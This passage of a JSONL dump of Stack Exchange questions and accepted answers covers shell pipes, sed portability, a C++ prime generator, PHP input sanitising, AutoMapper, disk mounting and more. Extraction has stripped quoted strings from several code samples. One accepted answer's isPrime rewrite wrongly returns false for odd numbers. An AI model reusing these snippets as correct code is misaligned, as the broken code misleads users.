Wed Jan 13 21:40:20 UTC 2016"  } 
{  "id": "_unix.283944"  , "question": "I usually use command1 | command2 | command3 a lot in Linux but most of them are dealing with definite content.When I tried this with an infinite stream cat | sed '' | sed '' which hopefully simulates an infinite stream it didn't work utill I terminated it with Ctrl-D. I can solve the problem with using cat | sed -e '' -e '' but I would like to know why the first one doesn't work. cat | cat | cat works just fine. Is it something to do with sed, if so what is that problem?I tried to think about this problem and the only thing I found different was that when I am using cat I hit the Enter key which does something special that is not happening in the first sed '' above?Can anyone let me know how to make pipe work seamlessly with infinite steams?"  , "title": "How do pipes and infinite streams work?"  , "tags": "linux;pipe;streams"  , "accepted_answer": "The pipes connect the output or the left command to the input of the right command. This has nothing to do with the length of the stream. However, each command in the pipeline still has it's own buffering rules. If you don't trigger them in each command you won't see them on the final output."  } 
{  "id": "_codereview.115228"  , "question": "This is my submission for the Prime Generator on SPOJ and it was accepted. Are there any improvements/changes I can make?Input:The input begins with the number \\$t\\$ of test cases in a single line  (\\$t \\le 10\\$). In each of the next t lines there are two numbers \\$m\\$ and  \\$n\\$ (\\$1 \\le m \\le n \\le 1000000000\\$, \\$n-m \\le 100000\\$) separated  by a space.Output:For every test case print all prime numbers \\$p\\$ such that \\$m \\le p \\le n\\$,  one number per line, test cases separated by an empty line.Example:Input:21 103 5Output:235735#include <iostream>#include <cmath>#include <vector>using std::vector;using std::cout;using std::cin;bool isPrime(int n) {    if (n == 1) return false;    if (n == 2) return true; // invariant    int root = int(ceil(sqrt(n))); // check up to ceil of square root n    for (int i = 2; i <= root; ++i){        if (n % i == 0) return false; // not prime     }    return true;}int main() {    int lines;    int toPush;    vector<int> inputs;    // get inputs    cin >> lines;    int tempA = 0;    while (tempA < 2*lines) {        cin >> toPush;        inputs.push_back(toPush);        ++tempA;    }    auto i = inputs.begin();    while (i < inputs.end()){        int m = *i;        int n = *(i + 1);        while (m <= n){            if (isPrime(m)){                int value = m;                cout << value <<  ;            }            ++m;        }        cout << \\n;        std::advance(i, 2);    }}"  , "title": "Returns all primes p between m <= p <= n"  , "tags": "c++;algorithm;c++11;programming challenge;primes"  , "accepted_answer": "Here are a few things that may help you improve your program.Improve your algorithmRight now, within the isPrime routine, the loop begins at 2 and does a test division of every number from \\$2\\$ to \\$\\sqrt{n}\\$.  However, we already know that other than 2, all prime numbers are odd.  You can approximately double the speed of this algorithm by writing it like this instead:bool isPrime(int n) {    if (n == 1) return false;    if (n == 2) return true;     if (n % 2) return false;    int root = int(ceil(sqrt(n)));     for (int i = 3; i <= root; i+=2){        if (n % i == 0) return false;     }    return true;}Prefer for to while where appropriateThe input section of the code has these lines:int tempA = 0;while (tempA < 2*lines) {    cin >> toPush;    inputs.push_back(toPush);    ++tempA;}It seems to me that this would be more clear as a for loop:for(int tempA = 2*lines; tempA; --tempA) {    std::cin >> toPush;    inputs.push_back(toPush);}The same is true for the main loop in the program.  It could be written this way:for (auto i = inputs.begin(); i != inputs.end(); ++i) {    for (int m = *i++, n=*i; m <= n; ++m) {        if (isPrime(m)){            std::cout << m <<  ;        }    }    std::cout << '\\n';}Store std::pairs instead of intsAfter the first number, the program's input consists of pairs.  It might make more sense to store them in a std::vector<std::pair<int, int>>The input routine would then look like this:for(int tempA = 2*lines; tempA; --tempA) {    std::pair<int, int> toPush;    std::cin >> toPush.first >> toPush.second;    inputs.push_back(toPush);}The main loop is then considerably simplified by the use of the pair and a range-for outer loop:for (const auto &lim : inputs) {    for (int m = lim.first; m <= lim.second; ++m) {        if (isPrime(m)){            std::cout << m <<  ;        }    }    std::cout << '\\n';}}Use a better algorithmThe code works as it is, but could be still further improved.  Since the inputs are all read at the beginning, you could choose the largest upper bound and run a sieve of Eratosthenes to derive all primes up to that number.  Then printing for any range would be simply a matter of lookup."  } 
{  "id": "_unix.125665"  , "question": "I like customizing my PS1 prompt and including the current directory.I also have several other items such as time, user, git branch and the like, i.e.However one problem is that when my current directory is many layers 'deep' such as /home/durrantmm/Dropnot/webs/rails_apps/linker/app/views there is too much text. (btw I carriage return at the end within my PS1 prompt setting anyway so my actual $ is back on the left, that is not the issue here).So I have a solution for that, to use this for the location part:LOCATION='\\033[01;34m\\]`pwd | sed s#\\(/[^/]\\+/[^/]\\+/[^/]\\+/\\).*\\(/[^/]\\+/[^/]\\+\\)/\\?#\\1_\\2#g`'not pretty, but it does the job and I then combine it with the other stuff (not shown, not needed here) and I get first 3 levels _ last two levels for the directories, i.e.Unfortunately though on my mac the sed part isn't working correctly and I get:[this is actually from my Linux machine, I faked it to show what it looks like on my mac in case you are wondering).How can I get the 3_2 format for the current directory on my mac ?"  , "title": "How can I make my sed command work on OSX as well as Ubuntu"  , "tags": "sed"  , "accepted_answer": "The \\+ and \\? parts of your sed command are GNU extensions - POSIX compatible sed cannot use these aspects of extended regex at all. Instead you can use \\{1,\\} and \\{0,1\\}. Try this:LOCATION='\\033[01;34m\\]`pwd |  sed s#\\(/[^/]\\{1,\\}/[^/]\\{1,\\}/[^/]\\{1,\\}/\\).*\\(/[^/]\\{1,\\}/[^/]\\{1,\\}\\)/\\{0,1\\}#\\1_\\2#g`'For more information on this see - http://pubs.opengroup.org/onlinepubs/009696699/utilities/sed.html and http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap09.html.Alternatively, you can enable extended regular expressions on OSX sed using -E. With this you could do:LOCATION='\\033[01;34m\\]`pwd |  sed -E s#\\(/[^/]+/[^/]+/[^/]+/\\).*\\(/[^/]+/[^/]+\\)/?#\\1_\\2#g`'However, this won't work on GNU sed (it uses -r for this). Using a POSIX solution will give better portability."  } 
{  "id": "_webmaster.24182"  , "question": "People from stackoverflow have been working closely with google team to help them make  the panda algorithm more efficient, so I guess they've learned a lot from the google team.Thus they may have done very clever friendly URLs to maximize the page rank.I've seen from time to time very long URLs (can't find where) in stackoverflow, but after a certain amount of character there were only numbers, kind of ok passed this length, SEOs will ignore this so let's put only numbers.I've done a huge work on my framework to make very friendly URLs, and my website can come up with URLs like:http://www.mysite.fr/recherche/region/provence-alpes-cote-d-azur/departement/bouches-du-rhone/categorie-de-metiers/paramedical/It's very long and I'm wondering if the previous URL won't be mixed with, say, this one:http://www.mysite.fr/recherche/region/provence-alpes-cote-d-azur/departement/bouches-du-rhone/categorie-de-metiers/art/"  , "title": "Friendly URLs: is there a max length for search engines?"  , "tags": "url;seo;best practices"  , "accepted_answer": "Friendly for whom exactly? For visitors these urls aren't very friendly.I'd advice you to keep it a lot shorter, around 6 keywords at the max.Sources:http://support.google.com/webmasters/bin/answer.py?hl=en&answer=76329http://www.seomoz.org/blog/11-best-practices-for-urls"  } 
{  "id": "_unix.352722"  , "question": "current stuation- I run this line: Xxxcommand | mail -s 'test on' example@email.comthen I will have the output like below in my emailName   Files(n)    Space  Calculation     Adam   12345   12345  space/files(n)     Becky  45689   8987     Maryanne   5598    7895I've got some calculation to make, so a few extra columns are needed.It's messy. So I want them to aligned according to column from my perl script.Plus addding extra column for calculation based on value from other columns.My end goal: by running my perl script in linux, which would take my output from command, then format it nicely. (the data would be different everytime, so I want to do it for just once, not to edit every time after I get the data output manually like copy and paste data into perl and format it one by one)if everything works out, when I run my perl script in linux. (that format the output from the command), I will receive an email with the nicely formatted output.  (**Im sorry but idk how to format the styling here to make it aligned with column header)  Name Files(n) Space Calculation  Adam 12345 12345 space/files(n)  Becky 45689 8987  Maryanne 5598 7895  So my main question is : how do I write perl script that can manipulate the output?Should I put the output into a text file in linux first?  Because I just can't see how I can write the perl script that can format or add columns to the output before sending out as mail.Any advice provided would be appreciated. Thank you."  , "title": "perl script to manipulate output (generated from a command line)"  , "tags": "text processing;io redirection;perl;text formatting"  } 
{  "id": "_cs.70178"  , "question": "For an array A = [a1, a2, a3, a4] of distinct numbers, I have built heap using binary decision tree by Incremental and In-place method.Incremental method:In-place method:Is there a way to build heap using decision tree for inputs of size 4 that uses fewer decisions in the worst-case, compared to above methods?Notes on heap: https://drive.google.com/open?id=0By6GDPYLwp2cY3lfbEVWNHlrSlEIncremental method - page 36, In-place method - page 48."  , "title": "How to build a heap better than Incremental and In-place method using decision tree?"  , "tags": "binary trees;heaps;heap sort"  } 
{  "id": "_cstheory.12041"  , "question": "Say you have 3 algorithms, A B and C.  You want to present a comparison of A B and C based on:Precompute overhead (say tree building etc that occurs prior to runtime)Runtime speed (say query response time)The problem is, however, A B and C each have their own unique set of parameters that will dictate the quality of the results.  A has 3 parameters x, xx and xxxB has 1 parameter yC has 2 parameters z and zzIf A has it's parameter x increased from 10 to 50, say, then A's precompute overhead doubles, and A's runtime speed is halved.If B has it's parameter y increased from 0 to 0.001 say, it's precompute time stays the same but it's runtime speed becomes 1/3 of it's former speed.So each algorithm has it's own set of quirks and behaves differently, depending on how you set each algorithm's parameters.But we are interested in comparing A B and C based on the two categories (precompute and runtime) listed above!How can you compare algorithms A B and C?"  , "title": "Making algorithm comparison when algorithms use parameters"  , "tags": "ds.algorithms"  } 
{  "id": "_scicomp.20411"  , "question": "I need to find an equation for the upper bound of $\\max \\mathbf{w}^T\\mathbf{x}_i, \\; i=1, \\dots N$.where $\\mathbf{w}$ and $\\mathbf{x}_i$ are two vectors.I need to find a function $f$ which holds the following inequality.$\\max \\mathbf{w}^T\\mathbf{x}_i \\leq \\mathbf{w}^T \\mathbf{z}$where $\\mathbf{z} = f(\\mathbf{x}_i),\\; i=1, \\dots, N$e.gLet $\\mathbf{x}_1 = \\begin{pmatrix}x_{11}\\\\x_{12}\\\\x_{13}\\end{pmatrix}, \\; \\dots, \\mathbf{x}_N = \\begin{pmatrix}x_{N1}\\\\x_{N2}\\\\x_{N3}\\end{pmatrix}$$\\mathbf{z} = \\begin{pmatrix}f(x_{11}, \\dots, x_{N1})\\\\f(x_{12}, \\dots, x_{N2})\\\\f(x_{13}, \\dots, x_{N3})\\end{pmatrix}$for example f can be a $\\max$ or $\\min$ function.All the values of $\\mathbf{x}_i, \\;, i=1, \\dots, N$ are known. But $\\mathbf{w}$ is unknown.Is it possible to have $f$ as a function only on $\\mathbf{x}_i$?Example:$\\mathbf{x}_1 = \\begin{pmatrix}-10\\\\1\\\\3\\end{pmatrix}, \\; \\mathbf{x}_2 = \\begin{pmatrix}5\\\\-3\\\\-5\\end{pmatrix} \\implies \\mathbf{z} = \\max\\mathbf{x}_i = \\begin{pmatrix}5\\\\1\\\\3\\end{pmatrix}$"  , "title": "what is the upper bound of $\\max \\mathbf{w}^T\\mathbf{x}_i$"  , "tags": "optimization;numerical analysis;constrained optimization;nonlinear programming"  , "accepted_answer": "As the OP is aware, when $\\mathbf{w}$ is nonnegative, an upper bound of the required type can be obtained by taking $\\mathbf{z}$ to be the componentwise maximum of the various $\\mathbf{x}_i$.However a simple example shows that no choice of $\\mathbf{z}$ is possible when $\\mathbf{w}$ is allowed to have a negative entry.  Consider the vectors:$$ \\mathbf{x}_1 = (1,0,0)^T \\; \\text{ and } \\; \\mathbf{x}_2 = (-1,0,0)^T $$Then whatever choice of $\\mathbf{z} = (z_1,z_2,z_3)^T$ is made, there exists $\\mathbf{w} = (w_1,w_2,w_3)^T$ for which the inequality $\\max \\mathbf{w}^T\\mathbf{x}_i \\leq \\mathbf{w}^T \\mathbf{z}$ fails.Specifically, if $z_1 \\le 0$, the choice $\\mathbf{w} = (1,0,0)^T$ yields $\\max \\mathbf{w}^T \\mathbf{x}_i = 1$, and $\\mathbf{w}^T \\mathbf{z} = z_1 \\not \\ge 1$.On the other hand, if $z_1 \\ge 0$, the choice $\\mathbf{w} = (-1,0,0)^T$ yields $\\max \\mathbf{w}^T \\mathbf{x}_i = 1$, and $\\mathbf{w}^T \\mathbf{z} = -z_1 \\not \\ge 1$.Therefore no choice of $\\mathbf{z}$ is satisfactory for all $\\mathbf{w}$."  } 
{  "id": "_unix.365421"  , "question": "Let's say I have a list of nested directories that looks like this:./x1/mf/dir1./x1/mf/dir2./x1/mf/file1./x2/mf/dir3./x2/mf/file2...I want to remove all the subdirectories of every mf directory. Meaning dir1, dir2, dir3 in the previous example.I know that find . -type d -name mfwill return a list of all the directories called mf. And ls -d */ returns all the subdirectories in the current directory. So I tried find . -type d -name mf -exec ls -d /* {} \\;to list the desired directories, but it would actually print the directories inside /. I was planning to pipe the resulting list to xargs rm -r to do the removal afterwards."  , "title": "Using find to look for a directory and remove its subdirectories"  , "tags": "find;directory;rm"  , "accepted_answer": "Setting up test directories and files:$ mkdir -p x{1..3}/mf/dir{1..3}$ touch x{1..3}/mf/file{1..3}$ tree.|-- x1|   `-- mf|       |-- dir1|       |-- dir2|       |-- dir3|       |-- file1|       |-- file2|       `-- file3|-- x2|   `-- mf|       |-- dir1|       |-- dir2|       |-- dir3|       |-- file1|       |-- file2|       `-- file3`-- x3    `-- mf        |-- dir1        |-- dir2        |-- dir3        |-- file1        |-- file2        `-- file3Then find all directories that has mf in its path and delete them. The -depth does a depth-first traversal, so that find doesn't try to enter directories that it has already deleted.  We also print the names of all directories that are deleted.$ find . -depth -type d -path */mf/* -print -exec rm -rf {} +./x1/mf/dir1./x1/mf/dir2./x1/mf/dir3./x2/mf/dir1./x2/mf/dir2./x2/mf/dir3./x3/mf/dir1./x3/mf/dir2./x3/mf/dir3Now:$ tree.|-- x1|   `-- mf|       |-- file1|       |-- file2|       `-- file3|-- x2|   `-- mf|       |-- file1|       |-- file2|       `-- file3`-- x3    `-- mf        |-- file1        |-- file2        `-- file3"  } 
{  "id": "_datascience.18817"  , "question": "I  am working on a classification problem and I found my data having  a lot of outliers which has resulted in reduction in my recognition rate. I have tried rescaling, normalization techniques like min max, box cox and even log transformation. I am considering of eliminating outliers from box plots but I am afraid I might be eliminating useful features/data required to define the model.Are there any suggestion on how to deal with such cases.Also further analysis of data revealed that my data constitutes of features belong to dfferent process like web application, apps. I segregated the data based on the processes and I  do see that large variation of process  resulted in different accuracy ranging from 60-95%Any tips on how to deal with such cases? In the end I want my classifier to classify irrespective of the process type. So with my current issue, does this imply that my features defined are not good enough or is there something else I can do?"  , "title": "Classification affected by a lot of outliers in features? How do you deal with outliers?"  , "tags": "multiclass classification;outlier;normalization"  } 
{  "id": "_codereview.54382"  , "question": "I have a search function on my website. In addition, elsewhere I have a place where users can submit categories for their posts. I want the categories to have an uppercase first letter and the rest lower case. I know there far more complex ways to secure a user input string, but do you think that as a fairly basic function, this is relatively secure?    function purify_string($string){       $script_tags = /\\<script +(.+)<\\/script>+/i;       $string = strip_tags(addslashes($string));          $string = preg_replace($script_tags, '', $string);       $string = trim($string);        $string = strtolower($string);       $string = ucfirst($string);            return $string;     }"  , "title": "String sanitisation function"  , "tags": "php;beginner;strings;security"  , "accepted_answer": "Instead of trying to purify the category for the user, which may or may not have unexpected results, you should simply reject everything that does not conform to your level of standard, and let the user fix it:function isValidCategoryName($string) {    return preg_match(/^[A-Z][a-z0-9 ]+$/, $string);}If it doesn't match, prompt the user with an error message and tell him to try again. Your job isn't to try to extract a good category from a bad one.At most you could just correct the case with ucfirst if you want."  } 
{  "id": "_cs.54628"  , "question": "I am collecting material for a MOOC about speech technology. My aim is that students also have examples to try rather than just watching the lecture and some complimentary youtube videos. So the idea was that they could call up some spoken dialogue systems or something like that. I have quite a few phone numbers of spoken dialogue systems in german (e.g. +498003504030) but as the course is going to be taught in english I am searching for examples in the english language.Note: Examples that will just redirect you to a customer service representative are not of interest. I am looking for good and bad examples. If you are aware of phone numbers for some spoken dialogue systems that you like or hate let me knowIf you know a website that lists some numbers to call even better. So far I had no luck with google and  i hope i have choose the right community on stack overflow for this. If not please accept my apologies in advance."  , "title": "Examples for speech recognition systems and spoken dialogue systems"  , "tags": "machine learning;natural language processing;speech recognition"  } 
{  "id": "_vi.12499"  , "question": "I am trying to search backwards (using ?) for the beginning of a word.I don't mean a word in the text object sense; I mean a series of lower-case letters optionally beginning with a capital letter.  The optional capital letter is stymying me.Here are some examples showing where I want to jump to, assuming the cursor starts at the end of the line:quick brown fox^     ^     ^QuickBrownFox^    ^    ^Quick Brown Fox^     ^     ^quick_brown_fox^     ^     ^The closest I've come up with is ?\\(\\U\\u\\)\\|\\L?e+  but that doesn't work with the capital letters.  I assume this is because \\L matches before \\U\\u does.How can I solve this?"  , "title": "Regexp for beginning of word?"  , "tags": "regular expression"  , "accepted_answer": "This simple search works for all the examples you gave:?\\a\\l\\+It matches any alphabetic character (upper or lower case), followed by any non-zero number of lower case characters.Some examples of cases you didn't mention where I'm a little unclear what you want it to do:match a lower caseMatchACapitalIf you want it to match the single letter word a/A in both of these, then use a * instead of the \\+:?\\a\\l*"  } 
{  "id": "_unix.298437"  , "question": "Is there an easy way to split, for example, apache vhost file with multiple vhost into 1 vhost per file?Or something else, allowing to operate only one by one vhost to get grep output .preferred solution in bash."  , "title": "Split file by pattern"  , "tags": "bash;shell script;text processing;split"  } 
{  "id": "_codereview.23625"  , "question": "I'd like to know if I'm doing profile configuration in the wrong place or in the wrong way.I'm following the Onion Architecture, so that restricts the direction of my dependencies towards the center.CoreMy domain model and AutoMapper facade:namespace Core.Domain{    public class MyModel    {        // model stuff    }}namespace Core.Services{    public interface IMapper    {        object Map(object source, Type sourceType, Type destinationType);    }}InfrastructureAutoMapper facade implementation:namespace Infrastructure.Mapping{    public class Mapper : IMapper    {        private readonly IMappingEngine _mappingEngine;        public Mapper(IMappingEngine mappingEngine)        {            _mappingEngine = mappingEngine;        }        public object Map(object source, Type sourceType, Type destinationType)        {            return _mappingEngine.Map(source, sourceType, destinationType);        }    }}UIThis is my controller and view model. I'm using the AutoMapper via a filter, following this example.namespace UI.Controllers{    public class HomeController : Controller    {            [AutoMap(typeof(MyModel), typeof(MyViewModel))]        public ActionResult Index()        {            var myItem = _myRepository.GetById(0);            return View(myItem);        }    }}namespace UI.ViewModels{    public class MyViewModel    {        // view stuff    }}Dependency ResolutionThis is where I have my doubts:namespace DependencyResolution{    public class MappingModule : NinjectModule    {        public override void Load()        {            Mapper.Initialize(cfg => cfg.AddProfile(new MyProfile()));            Bind<IMappingEngine>().ToMethod(ctx => Mapper.Engine);            Bind<IMapper>().To<Mapping.Mapper>();            Kernel.BindFilter<AutoMapFilter>(FilterScope.Controller, 0)                  .WhenActionMethodHas<AutoMapAttribute>()                  .WithConstructorArgumentFromActionAttribute<AutoMapAttribute>(sourceType, att => att.SourceType)                  .WithConstructorArgumentFromActionAttribute<AutoMapAttribute>(destType, att => att.DestType);        }    }    public class MyProfile : Profile    {        protected override void Configure()        {            Mapper.CreateMap<MyModel, MyViewModel>().ForMember(...);        }    }}QuestionsIs the way I bind to AutoMapper wrong?  Is this the wrong place for the profile (keep in mind the dependency restriction)?In the ideal world I would have placedMapper.CreateMap<MyModel, MyViewModel>().ForMember(...)in Global.asax, but how do I expose CreateMap without referencing AutoMapper?Is there anything else you have noticed?"  , "title": "Injecting AutoMapper profiles"  , "tags": "c#;dependency injection;asp.net mvc 4"  , "accepted_answer": "What is the purpose of the IMapper interface and Mapper class?  It looks to me that they are just wrapping the IMappingEngine interface and MappingEngine class.  While this is a good method when you have a third party class that doesn't have an interface, I think it is overkill here.  Why don't you just use the IMappingEngine where you need that functionality?If you are going to keep your Mapper class, I would rename it, having two Mapper classes is confusing.As for where it is, I don't have a problem with doing it this way.  All the wire-up is done in one place, and its easy to find and add to as needed."  } 
{  "id": "_cstheory.8893"  , "question": "This is about how effectively we can express an algorithm at hand. I need this for my undergraduate teaching. I understand there is no such thing as standard way of writing a pseudo code. Different authors follow different conventions. It would be helpful if people here point out, the way they follow and think the best one.Is there any book that deals with this in a good detail?"  , "title": "Good practices for writing algorithms"  , "tags": "ds.algorithms;soft question;advice request;writing"  , "accepted_answer": "Writing pseudocode is like writing code:  It's not particularly important which standard you follow, as long as you (and the people you write with) actually follow some standard. But for the record, here's the idiosyncratic standard I use in my lecture notes, research papers, and upcoming book.  Use standard imperative syntax for control flow and memory access  if, while, for, return, array[index], function(arguments).  Spell out else if.But use $field(record)$ instead of record.field or record->fieldUse standard mathematical notation for math  Write $xy$ instead of x*y, $a\\bmod b$ instead of a%b, $s\\le t$ instead of s <= t, $\\lnot p$ instead of !p, $\\sqrt{x}$ instead of sqrt(x), $\\pi$ instead of PI, $\\infty$ instead of MAX_INT, etc.But use $x\\gets y$ for assignment, to avoid the == problem.But avoid notation (and pseudocode!) entirely if English is clearer.Symmetrically, avoid English if notation is clearer!Minimize syntactic sugar  Indicate block structure by consistent indentation ( la Python).  Omit sugary keywords like begin/end or do/od or fi.  Omit line numbers.  Do not emphasize keywords like for or while or if by setting them in a different typeface or style.  Ever.  Just don't.But typeset algorithm names and constants in \\textsc{Small Caps}, variable names in italic, and literal strings in sans serif.But add a small amount of vertical breathing space (\\\\[0.5ex]) between meaningful code chunks.Don't specify unimportant details.  If it doesn't matter what order you visit the vertices, just say for all vertices.For example, here is a recursive formulation of Borvka's minimum spanning tree algorithm.  I've previously defined $G / L$ as the graph obtained from $G$ by contracting all edges in the set $L$, and Flatten as a subroutine that removes loops and parallel edges.I use my own lightweight algorithm LaTeX environment to typeset pseudocode.  (It's just a tabbing environment inside an \\fbox.)  Here's my source code for Borvka's algorithm:\\begin{algorithm} \\textul{$\\textsc{Borvka}(G)$:}\\+\\\\ if $G$ has no edges\\+\\\\  return $\\varnothing$\\-\\\\[0.5ex] $L \\gets \\varnothing$\\\\ for each vertex $v$ of $G$\\+\\\\  add the lightest edge incident to $v$ to $L$\\-\\\\[0.5ex] return $L \\cup \\textsc{Borvka}(\\textsc{Flatten}(G / L))$\\end{algorithm}"  } 
{  "id": "_unix.39087"  , "question": "I saw a tutorial about redirecting client requests to a specific port to a VM inside the server using IPTables.Is there a way to redirect client requests for foo.com to a VM using only IPTables?or should I go for squid proxy server?"  , "title": "Is there a way to redirect requests from foo.com to a VM on that server?"  , "tags": "networking;iptables"  } 
{  "id": "_webmaster.55146"  , "question": "I am working in Joomla! 1.5.9 and trying to change the names to the page titles in the menu browser (I think that's what it's called). I have only been able to find basic page info on those specific pages on the sections manager/green folder within the editor/admin site. However, all title changes I make to those pages within are not reflected on the actual web site itself. I have been able to add a section (just out of curiosity) but it is not visible on the actual site itself. Nor can I figure out how to delete any of the pages/sections.I don't know where to find access to the editing page title options."  , "title": "Joomla! 1.5.9 changing page titles on menu"  , "tags": "joomla;title;menu;titles"  } 
{  "id": "_unix.99275"  , "question": "This is a followup question to my earlier problem. In short I was experiencing massive I/O drops together with not-so-violent disk grinding, and with help I found out that the big caches were the problem. Now I'm trying to find a solution to it.I'm running a daily updated 32bit Debian testing on a computer with 16GB RAM, 120GB SSD and two 1TB HDDs. SSD stores read-heavy of the distribution and one of the 1TB disks store /var /tmp /media and other write heavy parts including a part of my home folder. 2nd HDD is a pure file storage. Everything is EXT4 formatted.The distribution's nominal RAM usage is 1 to 1.5GB. Remaining RAM is converted to cache at kernel's discretion. After cache grows beyond a point, I/O performance drops massively (from ~90MB/sec to ~5MB/sec). Dropping caches solves the problem but only temporarily.What can be the reason? While I'm a developer and a former cluster admin, caching is beyond my knowledge at this point."  , "title": "Too large cache causes disks to grind, I/O to drop"  , "tags": "cache;storage"  } 
{  "id": "_codereview.40417"  , "question": "This takes a width specified by user and prints a diamond of that width.  It uses only three for loops, but could I reduce that further? Is there a more elegant solution?public class Diamond {    static boolean cont = true;    public static void main (String[] args) {        Scanner input = new Scanner(System.in);        while (cont) {            System.out.print(Width: );            int width = input.nextInt();            int lines = width;            System.out.println();            for (int line = 0; line < lines; line++) {                for (int spaces = 0; spaces < Math.abs(line - (lines / 2)); spaces++) {                    System.out.print( );                }                for (int marks = 0; marks < width - 2 * (Math.abs(line - (lines / 2))); marks++) {                    System.out.print(x);                }                       System.out.println();            }            System.out.println();        }    }}"  , "title": "Print an ASCII diamond"  , "tags": "java;console"  } 
{  "id": "_webmaster.5812"  , "question": "I have a javascript heavy site (It really couldn't be coded in any sensible way with progressive enhancement) and I am using Google's advice for making AJAX websites crawlable. (i.e. use ?_escaped_fragment_ in place of '#!')My question is this: How closely does my flat HTML need to match the AJAX created HTML for users?I imagine Google must be checking some of the AJAX content, as otherwise this would be an easy way to do cloaking. I don't want to cloak in any way, but it is difficult to produce the exact HTML source that AJAX generates on the server-side? Would a rough approximation be good enough? Anyone have any experience in doing this?"  , "title": "When creating HTML for _escaped_fragment_ AJAX pages, how correct does it have to be?"  , "tags": "seo;ajax"  } 
{  "id": "_unix.225024"  , "question": "[root@localhost ~]# fdisk -lDisk /dev/xvdb: 2147.5 GB, 2147483648000 bytes255 heads, 63 sectors/track, 261083 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x00050ec0    Device Boot      Start         End      Blocks   Id  System/dev/xvdb1   *           1          64      512000   83  LinuxPartition 1 does not end on cylinder boundary./dev/xvdb2              64      261084  2096638976   8e  Linux LVMDisk /dev/xvda: 5368 MB, 5368709120 bytes255 heads, 63 sectors/track, 652 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x000effaf    Device Boot      Start         End      Blocks   Id  System/dev/xvda1   *           1          64      512000   83  LinuxPartition 1 does not end on cylinder boundary./dev/xvda2              64         653     4729856   8e  Linux LVMPartition 2 does not end on cylinder boundary.Disk /dev/mapper/VolGroup-lv_swap: 16.8 GB, 16844324864 bytes255 heads, 63 sectors/track, 2047 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x00000000Disk /dev/mapper/VolGroup00-lv_root: 4303 MB, 4303355904 bytes255 heads, 63 sectors/track, 523 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x00000000Disk /dev/mapper/VolGroup00-lv_swap: 536 MB, 536870912 bytes255 heads, 63 sectors/track, 65 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x00000000Disk /dev/mapper/VolGroup-lv_root: 53.7 GB, 53687091200 bytes255 heads, 63 sectors/track, 6527 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x00000000Disk /dev/mapper/VolGroup-lv_home: 2076.4 GB, 2076423749632 bytes255 heads, 63 sectors/track, 252444 cylindersUnits = cylinders of 16065 * 512 = 8225280 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisk identifier: 0x00000000[root@localhost ~]#Mounted Drives[root@localhost ~]# dfFilesystem           1K-blocks   Used Available Use% Mounted on/dev/mapper/VolGroup00-lv_root                       4005360 780156   3015080  21% /tmpfs                  1475396      0   1475396   0% /dev/shm/dev/xvda1              487652  52811    409241  12% /boot[root@localhost ~]#Screenshot of XenServer attached drivesHow can I attach this drive 2TB hard drive to /mnt/? I thought mount -t ext2 /dev/xvdb /mnt would work but everything I try fails/etc/fstab## /etc/fstab# Created by anaconda on Sun Aug 23 19:29:26 2015## Accessible filesystems, by reference, are maintained under '/dev/disk'# See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info#/dev/mapper/VolGroup00-lv_root /                       ext4    defaults        1 1UUID=b9b08863-9a52-432a-b904-61a3144ce709 /boot                   ext4    defaults        1 2/dev/mapper/VolGroup-lv_swap swap                    swap    defaults        0 0/dev/mapper/VolGroup00-lv_swap swap                    swap    defaults        0 0tmpfs                   /dev/shm                tmpfs   defaults        0 0devpts                  /dev/pts                devpts  gid=5,mode=620  0 0sysfs                   /sys                    sysfs   defaults        0 0proc                    /proc                   proc    defaults        0 0Mounted drives[root@localhost ~]# mount/dev/mapper/VolGroup00-lv_root on / type ext4 (rw)proc on /proc type proc (rw)sysfs on /sys type sysfs (rw)devpts on /dev/pts type devpts (rw,gid=5,mode=620)tmpfs on /dev/shm type tmpfs (rw,rootcontext=system_u:object_r:tmpfs_t:s0)/dev/xvda1 on /boot type ext4 (rw)none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw)uuid[root@localhost ~]# ls -l /dev/disk/by-uuidtotal 0lrwxrwxrwx. 1 root root 10 Aug 23 21:37 31de66c0-cd8f-4f75-9bf6-7194dc43dafd -> ../../dm-4lrwxrwxrwx. 1 root root 10 Aug 23 21:37 35a57414-2271-4db2-9f9a-09cf36c19044 -> ../../dm-0lrwxrwxrwx. 1 root root 11 Aug 23 21:37 5a99aec9-7270-44ce-9df7-32ff4d70a75b -> ../../xvdb1lrwxrwxrwx. 1 root root 10 Aug 23 21:37 986339d2-abd7-453f-8422-e8c1acb9368a -> ../../dm-2lrwxrwxrwx. 1 root root 11 Aug 23 21:37 b9b08863-9a52-432a-b904-61a3144ce709 -> ../../xvda1lrwxrwxrwx. 1 root root 10 Aug 23 21:37 c065a889-055d-44f2-bae4-0ac73d86d493 -> ../../dm-1lrwxrwxrwx. 1 root root 10 Aug 23 21:37 e85cb70e-6403-4b06-a481-a1512140a491 -> ../../dm-3"  , "title": "Problem mounting disk"  , "tags": "filesystems;mount"  } 
{  "id": "_unix.318864"  , "question": "I've got a command to find big files in a particular folder but for some reason it won't work in certain situations and I get an Argument list too long error. How do I fix this command so it works every time?jbsmith:/tmp$ sudo du -hsx * | sort -rh | head -10-bash: /usr/bin/sudo: Argument list too long"  , "title": "Argument list too long when using du"  , "tags": "shell;disk usage;sort"  } 
